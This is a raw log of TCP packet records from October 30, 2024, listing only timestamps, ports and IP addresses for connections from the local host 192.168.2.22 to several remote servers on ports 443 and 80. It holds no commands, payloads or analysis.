Oct 30, 2024 07:53:23.926911116 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.927108049 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.927129984 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.927160978 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.927165985 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.927194118 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.927397966 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.927423000 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.927450895 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.927457094 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.927480936 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.927544117 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.957652092 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.957683086 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.957747936 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.957766056 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.957777023 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.957854033 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.958277941 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.958301067 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.958329916 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.958336115 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.958353043 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.958420038 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.958584070 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.958605051 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.958633900 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.958638906 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.958662987 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.958894014 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.958916903 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.958920002 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.958936930 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.958946943 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.958971024 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.959136009 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.959156990 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.959187031 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.959193945 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.959213972 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.959338903 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.959474087 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.959496021 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.959521055 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.959525108 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.959544897 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.959697008 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.959721088 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.959745884 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.959749937 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.959772110 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.959849119 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.962040901 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.962071896 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.962465048 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.962490082 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.995690107 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.995716095 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.995768070 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.995783091 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.995795965 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.995796919 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.995843887 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.995915890 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.996987104 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:26.207017899 CET	49171	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:26.207070112 CET	49167	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:53:34.469871998 CET	49173	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:34.469933987 CET	443	49173	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:34.470011950 CET	49173	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:34.471409082 CET	49173	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:34.471438885 CET	443	49173	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:35.352016926 CET	443	49173	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:35.352124929 CET	49173	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:35.354717016 CET	443	49173	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:35.354779005 CET	49173	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:35.358907938 CET	49173	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:35.358935118 CET	443	49173	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:35.359451056 CET	443	49173	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:35.423899889 CET	49173	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:35.467350006 CET	443	49173	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:35.826245070 CET	443	49173	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:35.962914944 CET	443	49173	142.250.186.46	192.168.2.22
Oct 30, 2024 07:53:35.963011026 CET	49173	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:35.963769913 CET	49173	443	192.168.2.22	142.250.186.46
Oct 30, 2024 07:53:35.974502087 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:35.974533081 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:35.974771023 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:35.974987030 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:35.975012064 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:36.862104893 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:36.862253904 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:36.893070936 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:36.893085957 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:36.893718004 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:36.896015882 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:36.939337015 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:37.601170063 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:37.606703997 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:37.607393026 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:37.609347105 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:37.614702940 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.281002998 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.281034946 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.281052113 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.281069994 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.281086922 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.281100035 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.281104088 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.281146049 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.281158924 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.281249046 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.281265020 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.281292915 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.281398058 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.281438112 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.286708117 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.286724091 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.286740065 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.286762953 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.400010109 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.400046110 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.400063992 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.400089025 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.400126934 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.400152922 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.400171995 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.400197029 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.400213003 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.400219917 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.400250912 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.400950909 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.400968075 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.400984049 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.401001930 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.401133060 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.401758909 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.401776075 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.401793003 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.401809931 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.401823997 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.401855946 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.402533054 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.402580976 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.402597904 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.402616024 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.402631998 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.402668953 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.405648947 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.405699015 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.405713081 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.405729055 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.405749083 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.405780077 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.406265020 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.406281948 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.406328917 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.531249046 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531286001 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531302929 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531327963 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531347036 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531363010 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531389952 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.531397104 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531389952 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.531413078 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531430006 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531440973 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.531447887 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531450033 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.531500101 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.531560898 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531578064 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531603098 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531618118 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.531619072 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531636000 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531652927 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531660080 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.531672001 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531697035 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.531829119 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531845093 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531862020 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.531877041 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.531904936 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.532424927 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.532440901 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.532455921 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.532480955 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.532519102 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.532535076 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.532550097 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.532562971 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.532576084 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.532593012 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.532598972 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.532608986 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.532625914 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.532635927 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.532679081 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.533368111 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.533384085 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.533399105 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.533427000 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.533440113 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.533456087 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.533471107 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.533484936 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.533494949 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.533510923 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.533510923 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.533526897 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.533543110 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.533554077 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.533588886 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.534223080 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.534239054 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.534255028 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.534279108 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.534297943 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.534343958 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.536829948 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.536855936 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.536871910 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.536895990 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.637862921 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.637965918 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638020039 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638025999 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.638067007 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.638127089 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638147116 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638161898 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638176918 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638187885 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.638192892 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638207912 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638215065 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.638225079 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638242006 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638253927 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.638257027 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638273001 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638281107 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.638288975 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638345003 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.638768911 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638787031 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638803959 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638834953 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.638873100 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638889074 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638905048 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638914108 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.638928890 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638936043 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.638947964 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638962030 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.638978004 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.639004946 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.639012098 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.639019966 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.639033079 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.639075041 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.650228977 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.650257111 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.650273085 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.650290012 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.650316000 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.650315046 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.650341034 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.650346041 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.650357962 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.650374889 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.650379896 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.650393009 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.650409937 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.650409937 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.650428057 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.650444031 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.650448084 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.650464058 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.650477886 CET	80	49175	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:38.650480986 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.650511026 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:38.820327997 CET	49175	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:39.203556061 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.203650951 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.211728096 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.211796045 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.327207088 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.327275038 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.327291965 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.327306032 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.327342033 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.327362061 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.327368021 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.327404976 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.327719927 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.331763029 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.331769943 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.336332083 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.336384058 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.336395979 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.349812984 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.349895000 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.349910975 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.353811979 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.353880882 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.353914022 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.362502098 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.362566948 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.362591982 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.371357918 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.371423960 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.371431112 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.380042076 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.380084991 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.380088091 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.380096912 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.380129099 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.451293945 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.451505899 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.451560020 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.451569080 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.451699972 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.451744080 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.451750040 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.451880932 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.451926947 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.451931953 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.452274084 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.452322006 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.452327013 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.452435017 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.452481985 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.452486992 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.453349113 CET	443	49174	142.250.185.97	192.168.2.22
